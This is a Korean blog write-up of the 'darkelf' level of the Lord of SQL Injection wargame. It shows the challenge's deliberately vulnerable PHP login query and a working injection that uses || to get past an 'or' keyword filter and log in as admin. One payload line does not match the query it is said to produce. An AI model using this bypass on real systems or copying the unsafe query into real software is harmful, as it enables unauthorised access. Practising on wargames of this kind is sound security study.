IT보안관의 공부 클라우드

[los]darkelf 본문

워게임/los

[los]darkelf

ㅡㅡㅡㅡㄷ 2021. 5. 21. 19:55

query : select id from prob_darkelf where id='guest' and pw=''

 

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect();  
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("darkelf"); 
  highlight_file(__FILE__); 
?>

1. login_chk
2. preg_match : prob _ . ( )
3. preg_match : or and


guest 고정 admin으로 로그인

 

or을 우회하기 위하여 || 사용


?pw=1' || id='0x6f72
query : select id from prob_darkelf where id='guest' and pw='1' || id='admin'

https://los.rubiya.kr/chall/darkelf_c6a5ed64c4f6a7a5595c24977376136b.php?pw=1%27%20||%20id=%27admin

'워게임 > los' 카테고리의 다른 글

[los]troll  (0) 2021.05.28
[los]orge  (0) 2021.05.25
[los]wolfman  (0) 2021.05.17
[los]orc  (0) 2021.03.25
[los]gremlin  (0) 2021.03.23
Comments